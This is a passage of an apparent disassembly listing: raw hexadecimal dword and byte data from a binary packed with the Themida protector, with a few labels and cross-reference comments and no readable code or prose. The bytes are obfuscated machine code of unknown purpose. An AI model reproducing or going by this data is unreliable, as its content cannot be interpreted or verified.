6A00000Eh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 38CAC350h, 835B57A3h, 0FE9FCE1h dd 94000000h, 871C084Fh, 92E00A8Ah, 50A0B04Ah, 0FA8BC1C3h dd 51006AFCh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 36F20339h, 2BAD8529h, 0BD8B07E4h, 7E413C9h dd 0B8h, 599D2300h, 2B07E422h, 33ADF8D2h, 3E8D1C2h, 4E983D0h dd 8166F475h, 563E5ED7h, 880D5Bh, 8D890000h, 7E41B55h dd 1B71958Bh, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 1DB2E0C3h, 0EB816B77h, 3175866Fh dd 0FE9h, 0C026D400h, 196ECBE2h, 95B64BC1h, 0CC2E1CE1h dd 2DA18D8Bh, 8B5007E4h, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 0FC35747h, 0FAD780E3h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 0A1C35040h, 8580D0BEh, 44A4EBB5h dd 6348B860h, 61F84B80h, 0AF19509h, 0BD8307E4h, 7E40611h dd 5D840F00h, 81000000h, 3A8CF9C7h, 0B816h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 9F0BDFC3h, 5B589D8h, 8D07E42Ah, 0E44FE78Dh, 59BD8B07h dd 0FF07E424h, 50006AE1h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 0FA312F67h, 22B9BD83h dd 0F0007E4h, 3EA84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 14E9EFh, 0DFB00000h, 88BDD70Ch dd 657B308Dh, 0C9D66382h, 93D529E5h, 0BD83EC66h, 7E422B9h dd 0C3840F01h, 6A000003h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 0ED91C353h, 85F8E9E4h dd 2B3F97FDh, 83DF8B66h, 0E422B9BDh, 860F0307h, 358h, 6810Fh dd 0BD010000h, 7E412B9h, 0F8BF0F60h, 1C9BD8Bh, 8C6607E4h dd 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 9736FA0Ch, 48DB8A0Eh, 7DF81F3h, 80140CFAh dd 6A04E1h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 87BB5C3h, 1D575AF8h, 0D585890Ah, 0A07E401h dd 21840FC9h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 9382C355h, 7E96A65h dd 2000000h, 0FBE5334Ch, 8529548Eh, 7E404BDh, 651858Bh dd 6A07E4h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 280640C3h, 63D0D7C9h, 8D09D01Ch, 7E43235h dd 20298533h, 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 3BFFA1C3h, 904984E2h, 4810F50h dd 60000000h, 90616160h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 73C35141h, 4843484Bh, 6024122Bh, 1890Fh dd 8BF50000h, 6A61C7h, 81D9B70Fh, 1B520CC3h, 0A5976815h dd 8B667EA9h, 243481FBh, 7EB6A668h, 1D19D8Bh, 0FFF807E4h dd 0E42D9995h, 6EDB8107h, 890C5A1Ch, 0E42F89B5h, 0A5858907h dd 6A07E7F8h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 3D81C351h, 170E9h, 5CE78000h dd 0F89D858Bh, 12E807E7h, 0D5000000h, 0BA7BCFFFh, 20FD2453h dd 899A9A15h, 35850079h, 0BE86BB99h, 0F5B3B7Ch, 0C7FFB7h dd 18h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h dd 42C35040h, 8B12DF80h, 0E7F8A1B5h, 0F59D8B07h, 8B07E423h dd 0E4009985h, 0C5BD8B07h, 8A07E400h, 0FC0689DEh, 651858Bh dd 6A07E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 14F799C3h, 468906F8h, 96F98B04h, 0E8525053h dd 8, 0C3DACFF8h, 7A9B3493h, 66310F5Fh, 5A12E0BBh, 0F505F58h dd 8Eh, 6A9600h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 0C8E56EC3h, 54D72DFCh, 0FF174A73h dd 0E7F89DB5h, 45BD3307h, 6807E40Eh, 4EC1731Ch, 3481FB8Bh dd 0DE70E324h, 15BD034Eh, 8D07E425h, 0E7F8A585h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 21BA5183h, 2C319D8Bh, 605007E4h, 0EE8h, 0EECB6200h dd 5806F0CFh, 2B6AEAFAh, 8B1C25F4h, 89615FD7h, 85292404h dd 7E40911h, 2D9995FFh, 6A07E4h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 8F10EDC3h, 85C7616Dh dd 7E422B9h, 3, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 7FC35545h, 0EFDF4983h, 0BD8350B3h, 7E7F8A5h, 19840F00h dd 29000000h, 0E423E9B5h, 29E907h, 9E90000h, 7B000000h dd 84084749h, 0DE4CBFh, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 6AC08B00h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 0CE3AC352h, 0A71673Dh dd 12E825h, 8CDC0000h, 76B29BECh, 2F64DDC7h, 0F3AC5D4h dd 6084DBC6h, 0FE9h, 422E3A00h, 6EAEE137h, 0D6524546h dd 7C91323Ah, 6E85Fh, 0D9010000h, 0AD8B2E75h, 12E9h, 25716800h dd 48086BB7h, 0AE3683F6h, 0DC0B2EF5h, 5F6EE9F2h, 25F99589h dd 0BD8307E4h, 7E422B9h, 850F03h, 6A000005h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 8248C350h, 94DDF7A8h, 8A6D3118h, 95EF81FCh, 834F225Eh dd 0E7F8A5BDh, 840F0007h, 4C7h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 0CDC35646h, 95891071h, 7E42431h dd 0F8A5B5FFh, 6A07E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 6F513EC3h, 0B08ABD0h, 0E42B9D9Dh dd 0D9D8907h, 0FF07E416h, 0E4044D95h, 56006A07h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 96BE6F1Fh, 0AE9D756h, 21000000h, 0BF9B9739h, 56ED9B5Dh dd 99B58B9Ch, 6A07E7F8h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 548BC355h, 6ECAB287h dd 6DED502Ah, 0EE9h, 0B6FB6D00h, 5B4B4C5h, 0BEC29100h dd 0C79A6AF3h, 1000106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 8B66C7FAh, 0B99D8BD8h dd 9607E430h, 1694BABBh, 0F5BB5052h, 961F544Fh, 1A41BD33h dd 0B5FF07E4h, 7E7F8A5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 19C35747h dd 1AB4C3D5h, 12E8h, 6A82C200h, 1C4A56F3h, 0EC53A249h dd 27B00790h, 66F1A7E5h, 0FF5BDA8Bh, 0E42A0995h, 3160F807h dd 0E40B2585h, 8D8B5607h, 7E402E1h, 0B58B615Fh, 7E7F899h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 7C35141h dd 6C7DC276h, 43AA2A48h, 0A8D0Fh, 5E90000h, 25000000h dd 0AFA8EA70h, 3165858Bh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0BD09F7C3h, 7E42311h dd 0FE9h, 32CC2900h, 21C4A923h, 9C3CBBCAh, 7764A5AAh, 0C48689h dd 0BF0F0000h, 71958BF9h, 8A07E41Bh, 4C283F9h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 49C35646h, 0A4CCBB3Ah dd 302DB757h, 12E9h, 13527000h, 0C600A4E7h, 0B9040A6h dd 0C7CE248Eh, 89F34D25h, 8B662050h, 8DFE8BD8h, 0E80CD485h dd 7FBF6607h, 0B88689C1h, 0E9000000h, 0Fh, 0D02926DFh dd 21761405h, 4A19404h, 6A75D714h, 0B5FFF900h, 7E7F8A5h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 5BC35747h dd 0F73ADDD5h, 10E8E07Fh, 0DB000000h, 75AA4C6Bh, 5F754031h dd 0A43E7AADh, 0F3DEE69h, 178Ch, 12E900h, 7B960000h, 81059753h dd 12396217h, 0DDAD28DAh, 0DC605D02h, 0AD95FF5Bh, 6A07E431h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 67A3C352h, 6BAB2107h, 10E87Ch, 0C0980000h dd 0DD2DD2E4h, 430C2B82h, 6B9560ECh, 67BB75B6h, 5B7D2247h dd 892FB750h, 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 2E251EC3h, 6E188B7Bh, 0F8A5B5FFh dd 0BF0F07E7h, 1195FFFFh, 8B07E41Bh, 0F9BD83D9h, 7E40Dh dd 3D840Fh, 8D890000h, 7E42739h, 8A525096h, 66310FFAh dd 5AB959BFh, 5B515058h, 56006A96h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 85225059h, 1FE3819Fh dd 0FF651784h, 0E7F8A5B5h, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 636A1269h dd 66BACB7Eh, 0A84BDF81h, 659D8960h, 6607E405h, 7366E981h dd 7D95FF61h, 8B07E402h, 0CE8FAh, 76470000h, 10104802h dd 0D6A00688h, 0FF5F5F38h, 0E7F8A5B5h, 50006A07h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 0F97D91F5h, 177E178Dh, 0AE9h, 80053400h, 6FDDE8E0h dd 0FFCAEE4Ch, 0E4097195h, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 6D794C30h dd 8166574Bh, 5FCE9AE7h, 0A21BD83h, 0F0207E4h, 7C84h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0F60B0BDh, 8166D0BFh, 619665CEh, 0B3DB509h, 858B07E4h dd 7E41EB5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0BEC35141h, 53CD9A26h, 0C6C92061h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 8BDE3DC3h, 0E413E19Dh, 7185C707h, 7E426h, 66000000h dd 0E9A549BFh, 0FFFFF2F4h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 80C35242h, 92C2DDEDh, 0DE9h, 0C8927E00h dd 637D83D3h, 0A93B9CFBh, 0BD8BD46Ch, 7E427B1h, 0DE8BC18Bh dd 11E8h, 5D07D300h, 119046D3h, 577A7C80h, 3AFA08BDh, 858B3DCEh dd 7E42C49h, 32C7815Fh, 8B000068h, 0E426AD9Dh, 6807h, 85310000h dd 7E426D9h, 8E95Ah, 0C6760000h, 4CF741CCh, 348B6496h dd 65958917h, 8107E405h, 0BF6FD3F6h, 6AEE8124h, 571A4CB8h dd 2B3016BBh, 0EE815924h, 17D7CDFAh, 96AFE8B8h, 10E8566Ah dd 0D7000000h, 0E26888E2h, 44890FA3h, 8E57E5D7h, 0FDB19B8h dd 388h, 0CBD58000h, 17048F5Bh, 9607BDBBh, 158D8B1Fh, 8107E426h dd 8BC304EAh, 1D8D8B58h, 8107E424h, 8BC300C2h, 8E858h db 2 dup(0) word_5DA21A dw 0F4D1h ; DATA XREF: Themida_:005838E8o dd 9F10DD5Bh, 9D8965B7h, 7E413EDh, 0B8FA8158h, 0FFFFF98h dd 1785h, 0A99D8B00h, 0E907E430h, 1Fh, 1201288Eh, 42FC67B2h dd 0BAFDA66Dh, 5BE9DF8Bh, 0FBFFFFFFh, 0AEAE21C0h, 248CB45Dh dd 8D06BC24h, 0E97E8C8Dh, 0AE95307h, 25000000h, 982FF8A3h dd 0C07830F4h, 0F2805F04h, 718D8952h, 6A07E41Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0A6EDC356h, 2DA185C7h, 714407E4h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 0C4F623C3h dd 5D8501B4h, 0C707E414h, 0E422B985h, 7, 9FACBE00h, 0B5FF102Eh dd 7E40919h, 356D9589h, 9D0907E4h, 7E41B49h, 306195FFh dd 6A07E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 4B66F8C3h, 95FF006Ah, 7E40E41h, 5EEBC08Bh dd 9D614602h, 4C2DDBF5h, 12C6E424h, 0E27DD0B1h, 64CE43E6h dd 6AB3EDE6h, 6B1210DAh, 0F671BA5h, 3DFC382Dh, 94ED015Dh dd 0D729D728h, 972A530h, 35D49FB7h, 661514D2h, 40B4B1CEh dd 764359Eh, 0F9C06354h, 5A69986Ah, 73BF51AEh, 775C70C7h dd 798CB7B0h, 3401722Dh, 30148F41h, 8D8D27D8h, 7E97F64h dd 0FD88B66h, 688h, 899D8B00h, 8907E423h, 0E41B718Dh, 45B58907h dd 0C707E400h, 0E42DA185h, 6F9C07h, 19890F00h, 0F000000h dd 1383h, 0EE900h, 58DC0000h, 0A9896A00h, 0EAAC3E32h, 0CEA425CCh dd 22B985C7h, 7E4h, 81660000h, 0FFA6ADC0h, 0E42BF1B5h dd 0D08B6607h, 306195FFh, 0B53107E4h, 7E40D35h, 95FF006Ah dd 7E40E41h, 1AEBC08Bh, 26C82F28h, 64ACA07Ch, 0B9962B5Ch dd 0BE4C9FDFh, 39203155h, 2E337FC0h, 2ADE9A59h, 46D4D471h dd 7F01DC4Bh, 5CD4C855h, 33639852h, 33A9A90Bh, 5AF19826h dd 1EEF5E26h, 60327C0Ah, 0E4FFB44Eh, 72F867A5h, 0BEA17C07h dd 0D4E33FA3h, 0BA796721h, 0D7F455A3h, 6ED71B21h, 33327C27h dd 33831D29h, 0B6C09826h, 344FE7B5h, 0B6D61576h, 63AE7159h dd 13190DD9h, 64839FC2h, 59359826h, 0A61F1523h, 634A7159h dd 4C231DABh, 0CC039FCFh, 0D7BA35B3h, 3C149321h, 336AA1A2h dd 0A6B01526h, 639D7159h, 334DAACEh, 0BEF6D826h, 0DA2C03A3h dd 0B624C821h, 343DE7B3h, 5AFF6776h, 0B0327C07h, 0B61794E2h dd 34A4E7B3h, 0B6231576h, 63547159h, 13640DD9h, 513D9FC2h dd 666A9826h, 646474ADh, 4E11CE74h, 0DA8DAB2Eh, 33A69824h dd 0CD3DF66h, 0C62C9726h, 2B67D9h, 3B1713EFh, 3335B2CFh dd 0B948AB26h, 3A71831h, 63E868ADh, 88005AADh, 33A9982Ch dd 33D49BCFh, 7D896F26h, 3C3566A5h, 0CC656CA1h, 0FB4EC3D9h dd 38EEDF7Eh, 0FDD697E6h, 0B85667D9h, 6C8EC6E7h, 37A8517Fh dd 0B0881526h, 0BE9D7159h, 0DACD20ABh, 932021h, 0FC780000h dd 310271E7h, 83C8D007h, 0F4904C7h, 0FFFFF285h, 0B8B58DFFh dd 8D07E980h, 0E980D78Dh, 83CF2B07h, 0C88B05E9h, 13E8h dd 0E75B7600h, 0F4BBC2FCh, 7528F235h, 15ABBBB7h, 7D69B573h dd 95895BF5h, 7E420E5h, 7157C381h, 9D010000h, 7E414E9h dd 0BAh, 1A34FF00h, 1471858Bh, 0F85E07E4h, 7FDEE81h, 0F6816488h dd 3DB85D4Dh, 19820Fh, 14E90000h, 43000000h, 0D949A581h dd 0CF9004ADh, 98BDE702h, 3F492312h, 8168B2EDh, 47BBBBC6h dd 3FD48041h, 0F5133489h, 0E904EA83h, 10h, 563FACA9h, 0EC083FBEh dd 0E48F91F7h, 68CADC83h, 8F68FA81h, 850FFFFFh, 1Dh, 13B1BD01h dd 25E907E4h, 71000000h, 0CFCE9C80h, 41B74BD0h, 0B863CCA8h dd 8D923594h, 0FDB58942h, 0E907E42Fh, 0FFFFFF71h, 0D8E835CAh dd 80008EEFh, 823F8D8Dh, 0BA6607E9h, 8D896A68h, 7E41B71h dd 2850Fh, 0ECB40000h, 53DB58Bh, 85C707E4h, 7E42DA1h, 5D54h dd 87C38166h, 0B985C742h, 7E422h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 5D15C351h, 0B5FF8EA9h, 7E40919h, 14E8h, 0C9A41E00h dd 5D0D268Bh, 4B13ED1h, 0E2184FA4h, 92EA333h, 0CE97Bh dd 0C890000h, 0A686D859h, 0BBDBFB80h, 0FF58494Fh, 0E4306195h dd 0D6BF6607h, 0A5F081E4h, 6A3DA6EEh, 4195FF00h, 8B07E40Eh dd 185EEBC0h, 215A2Ah, 0B9D15E9Dh, 0ED057B10h, 116D8F10h dd 29B0C9DBh, 0B559B3CAh, 0A9527617h, 809BEA95h, 43F6AA6h dd 0DB5A241Ah, 863F5CB8h, 4DBD3A63h, 5B2256FBh, 1E08F1F3h dd 7C58283Fh, 0F7426E92h, 0F8078817h, 6EC51083h, 98D91AF3h dd 9775086Eh, 48027647h, 6881010h, 5F38D6A0h, 0A68D8D36h dd 6A07E983h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 0D85FC350h, 41DB89DCh, 0D08B6664h dd 0CB99BF66h, 1B718D89h, 6A07E4h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 9FA87AC3h, 47170C9Fh dd 0A185C7F6h, 2C07E42Dh, 6A000067h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 8C74C356h dd 0BDB03C64h, 22B985C7h, 7E4h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 3E1A46C3h dd 60A6BCC4h, 0B560EB0h, 0E4070DB5h, 51615807h, 0B5FF5BF5h dd 7E42291h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 6DC35646h, 1648A8EDh, 0FE22E1Ah, 68Ah, 0DDBD8B00h dd 0FF07E402h, 0E4306195h, 259CBE07h, 6A43A0h, 0E4195FFh dd 0C08B07E4h, 0B1296FEBh, 6D69C59Dh, 7746807Bh, 271B65EAh dd 124FBEE6h, 0CC5CB780h, 0CD110717h, 3E4F9AD8h, 24B89327h dd 8A1F0C0h, 0E87602Eh, 747CBA3Ah, 1B797235h, 800D1BDBh dd 0A8A84D18h, 0CF959CFDh, 0BE4F1A31h, 0FCE75B76h, 35F4BBC2h dd 0B77528F2h, 7315ABBBh, 417D69B5h, 4CE2F3B6h, 0D2368F93h dd 134FA557h, 0F6F4A6F2h, 30D0CE97h, 0F9CE3EC4h, 0EC8A52F8h dd 97F4D9B8h, 0F0127D8Eh, 1D744634h, 1D349EB0h, 600196D7h dd 9F52982Ah, 1002DCF3h, 91883233h, 13E50D4Ah, 0FDF111BEh dd 0C7FE41D5h, 0A9827B68h, 13E59806h, 4416BC33h, 1002DC60h dd 91883233h, 13E50D4Ah, 0F2DE11BEh, 0C7FE41D5h, 146B7B68h dd 14027966h, 4921C833h, 788839F0h, 50803617h, 14151D17h dd 41448C33h, 9108AAF0h, 13E530CAh, 17DC0CB8h, 0A988CFD7h dd 13E5694Ah, 146BF2B8h, 1402F161h, 4E218C33h, 40881CF0h dd 50802717h, 14169517h, 4643C833h, 50D6F9F0h, 0CC8D54A6h dd 0FC561959h, 14018C30h, 4BC21913h, 10255FBAh, 1025D5B2h dd 1401C829h, 70C23374h, 0EB40B629h, 89885EA8h, 13E58EEAh dd 900E429Bh, 140120B5h, 95004B8h, 0A982CFD7h, 13E56A1Eh dd 47853D33h, 7E011933h, 17E9DB33h, 34014633h, 9D5EE06Ch dd 9505B54Fh, 0F05EC77h, 53016433h, 453FF164h, 1CAAC95Ch dd 8122D33Bh, 13E54CB6h, 140266DAh, 4101FB33h, 1401CBDBh dd 0D75C4433h, 306DBB6Eh, 30459837h, 14019137h, 0D7540333h dd 166C0558h, 63230B7Eh, 14BF3915h, 9F036414h, 0F01B2FAEh dd 4849434h, 7E066BFFh, 17E91433h, 34012333h, 9D5B5269h dd 9505EC67h, 1054077h, 56013233h, 90ABDA61h, 0CF011BAh dd 0EBF941D7h, 91FFA8E3h, 0A6859EF3h dd 7E01C833h, 17E93233h, 34013233h, 9D5FDA6Dh, 9505A847h dd 3056277h, 52012333h, 5BE85265h, 0FB80D824h, 26D24A8Dh dd 95D08D3Ch, 95674E0Bh, 238483C8h, 7E014633h, 17E97133h dd 34019133h, 9D5B0B69h, 95054067h, 1051677h, 56011933h dd 4E9F4F61h, 3620DB10h, 956724D7h, 1603954Bh, 16C14C3Ch dd 930E6433h, 14013231h, 9567ECB9h, 1B61100Bh, 14017AB6h dd 128E2C33h, 9D019133h, 0F005C5AEh, 1679E434h, 32843DDBh dd 72011933h, 956772B8h, 0BF01404Bh, 1416A63Ch, 0A1889133h dd 13E5D6FAh, 140319DAh, 12883D33h, 9D011933h, 0F00BA1A6h dd 1501F834h, 146B6532h, 14027966h, 4921C833h, 788839F0h dd 50803617h, 141D1D17h, 41448C33h, 4DFA48F0h, 0E980085Eh dd 6E88888h, 0B01C833h, 843FAA0Eh, 2030338Ah, 0B21FE802h dd 0F5C5651Bh, 219CCF4Eh, 9906C739h, 0F3CD81B6h, 0D18C4334h dd 0EB068024h, 450158E3h, 14011ADBh, 0D758AC33h, 304DCF6Ah dd 3045A237h, 14018637h, 0D7508933h, 2CECD929h, 8786D0B2h dd 47B20346h, 900E4CB6h, 14014799h, 0FC512359h, 14019130h dd 4CC29013h, 102520BAh, 102576B2h, 14011928h, 7DC2DC73h dd 656CA97Eh, 1530C283h, 0F0123886h, 72394934h, 1B03660Eh dd 14017BB6h, 45017333h, 14018FDBh, 0D7586633h, 304DAA6Ah dd 30451037h, 1401D237h, 0D7502533h, 0FC6386F8h, 0FC1D057Ch dd 14018C38h, 0ABDD0034h, 0BA23F867h, 1B8CF91Ah, 955A198Ch dd 2967624Bh, 900E486Ch, 14011845h, 6683138h, 956741D7h dd 1B61BF0Bh, 1401B9B6h, 6C813433h, 910E8C31h, 1401322Eh dd 72D0A63Ch, 1407F4B2h, 1A8449F3h, 9D012333h, 0F01270A6h dd 15412134h, 0D6816433h, 15018C8Eh, 0CB816732h, 4840124h dd 1B06A1FFh, 140126B7h, 0BAAA2833h, 0C4FEFDEAh, 3AA8F102h dd 0D48435D7h, 14D19D3Ch, 9A0E8C33h, 14014635h, 3238B6B8h dd 2C8196D7h, 5784C7DBh, 95016433h, 2725C8E0h, 11799955h dd 27848340h, 7E014633h, 17E97233h, 34019133h, 9D580B6Ah dd 9505407Fh, 0F051677h, 55011933h, 95284F62h, 90613360h dd 6C813464h, 900EC234h, 1401C8F1h, 17E8F110h, 956735D7h dd 1B04960Bh, 1401E1B6h, 45012C33h, 140120DBh, 0D758B133h dd 304D416Ah, 3045E537h, 14012437h, 0D7505833h, 1B59F908h dd 6C818C8Ch, 910E4B35h, 14019171h, 3F7C45B8h, 956763D7h dd 31FE394Bh, 14319C3Ch, 146B8C33h, 1402AE63h, 4C212333h dd 5088C9F0h, 5080CC17h, 141D6017h, 44413233h, 6004E9F0h dd 0B664D76Fh, 0AB0E9CA4h, 1449CAEBh, 0AD679133h, 0D42AA474h dd 0AC17D753h, 474AF2CAh, 1446F052h, 146B8C33h, 1402AE64h dd 4B212333h, 6888CEF0h, 5080CC17h, 14186017h, 43463233h dd 0A81C70F0h, 745E0E7Ah, 13ACF3B8h, 956724D7h, 75A100F9h dd 36987DBAh, 15B963D7h, 1B013233h, 140111B1h, 168F8333h dd 9E014633h, 1B61B3C6h, 140191B1h, 8451A933h, 0FC506459h dd 14013230h, 4DC24013h, 1025C0BAh, 102502B2h, 14012328h dd 20C2C072h, 5EB9C1DEh, 0E113A59Dh, 901B8FBEh, 998C1EDAh dd 13E80526h, 7254658Bh, 0B5842044h, 3F06752Dh, 15018CFCh dd 0CB816732h, 4840124h, 1B06A1FFh, 140126B7h, 0BAAA2833h dd 0C4FEFDEAh, 0F305E983h, 0BD8958A4h, 7E42EE1h, 60CA8B66h dd 0C59D8B56h, 5B07E405h, 61C6BF0Fh, 840FC00Bh, 7Bh, 14E8h dd 872E7900h, 0C02062FCh, 5CD8DF1Ch, 929218DFh, 0D7E19ED4h dd 0F99589B8h, 5F07E41Dh, 4FE7B58Dh, 6A07E4h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 0BEBB98C3h dd 0B340BC64h, 3B8DDh, 0CE90000h, 0F1000000h, 0F81E2B24h dd 61E6B0E0h, 0E93F103Dh, 0Fh, 0BBF590Dh, 0EF26CDBFh, 81146E4Ch dd 0FF208290h, 58D8BE6h, 4007E42Bh, 6CA6C381h, 0C08B3322h dd 83CF8B66h, 0E413F1BDh, 9750007h, 935BD83h, 740007E4h dd 8B535019h, 403B8C0h, 85890000h, 7E40EEDh, 0EA579D8Dh dd 0D3FF07E6h, 0BD83585Bh, 7E40935h, 50177400h, 403B853h dd 85890000h, 7E40EEDh, 0E6F89D8Dh, 0D3FF07E6h, 890F585Bh dd 6, 20358D89h, 6A07E4h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 3A15C0C3h, 0F666CD7Fh dd 8B665221h, 0C08B5BFBh, 0BF0F5F52h, 12E861CFh, 5C000000h dd 3E5C69F2h, 0EF8B8016h, 0B3E47FDBh, 2FD0B3h, 9E99Bh dd 9CF50000h, 70FB772Dh, 5BCCE960h, 81C3BF0Fh, 635EC3h dd 0F78B6600h, 88BE32B9h, 81E98165h, 666588A5h, 33FFC18Bh dd 5AD48FB8h, 9D895A1Fh, 7E42DFDh, 5F0AF281h, 8A0F55C2h dd 7, 36B8BF56h, 81584C4Dh, 0DBFDEAEAh, 10E96Eh, 0D1060000h dd 4C20BEF1h, 0BED4F249h, 0AC19E3ADh, 0EA81980Fh, 336CAD1Ah dd 5AEDBE66h, 0EB831389h, 5DB58B01h, 4B07E430h, 0E9834B4Bh dd 0A3850F01h, 23FFFFFFh, 0E42A2DB5h db 7 byte_5DAF8D db 0E8h, 0Fh, 0 ; DATA XREF: Themida_:00585288o dd 0B19F0000h, 0AB30DDBBh, 0F8DE3428h, 6D46C620h, 0FD9D8B22h dd 5E07E40Dh, 0C681D68Bh, 6343h, 0ABB8D58Ah, 0E9000018h dd 12h, 9ED98809h, 0E2D7FB2Ch, 0A3E26888h, 0D744890Fh dd 36FF57E5h, 0EF18589h, 0F5F07E4h, 0C781D0B7h, 7F481B8Ch dd 0C78107B1h, 0B8F7F22h, 0EF81CF8Bh, 2786B6E9h, 12E8h db 0 byte_5DAFF5 db 0Dh, 72h, 21h ; DATA XREF: Themida_:005825B0o dd 0F2D6DA28h, 0EA53200Bh, 1BA9B049h, 0B1030C6Bh, 3E895BEDh dd 85A7C981h, 0EE834CF8h, 1DB96603h, 8D8B4EAAh, 7E40279h dd 0F01E883h, 0FFFFA585h, 96BA66FFh, 24786CB6h, 2411EE57h dd 7A320301h, 509BDFC2h, 6093C425h, 240E6425h, 72543001h dd 82EB9CC2h, 0FF760540h, 0B99B4CD3h, 23F60224h, 0CCCA0D67h dd 2412C012h, 7E6377E7h, 5D824E27h, 0C0DE63E8h, 0A5E0482Fh dd 0AF88D3C7h, 0C031D29Ch, 20BADE06h, 263C440Eh, 24786001h dd 2411D854h, 79321801h, 489B51C2h, 60930225h, 240A0725h dd 71578101h, 0A4AE1EC2h, 0C6928530h, 9AFB3C6h, 2415FC0Fh dd 2436880Eh, 0B9990601h, 23F6005Ch, 1B148Ah, 0C9FBC7E5h dd 0CD126000h, 2412300Fh, 0CFB5C710h, 773D756Fh, 98CEE4Ah dd 73421810h, 0CF523F67h, 16495Bh, 0F7F588h, 251D37E5h dd 2DEC3C4Dh, 0C00F418Ch, 24785E06h, 2411EB56h, 7B328101h dd 589B9FC2h, 60936425h, 24053425h, 73551801h, 92D103C2h dd 0E491FE3Ch, 7212692Dh, 241282E9h, 0E74CE001h, 66E95Fh dd 56B105h, 24120C05h, 0E7444A01h, 0AF1A8D2Bh, 6C9965D6h dd 7512EBFDh, 2412C3E9h, 0E74B4001h, 5EB958h, 569905h dd 24121705h, 0E7434701h, 0B248C227h, 4D8A50Bh, 2412CAE9h dd 6F659D01h, 505C305Dh, 0AF3D198Eh, 0C03E3D94h, 0A5745D06h dd 2BED3538h, 24125685h, 7612AA01h, 241263E9h, 0E7481001h dd 46915Bh, 568D05h, 24121E05h, 0E7404101h, 13550FADh dd 2297CF4Dh, 2D126001h, 0C00D9994h, 2DD39B06h, 241209E8h dd 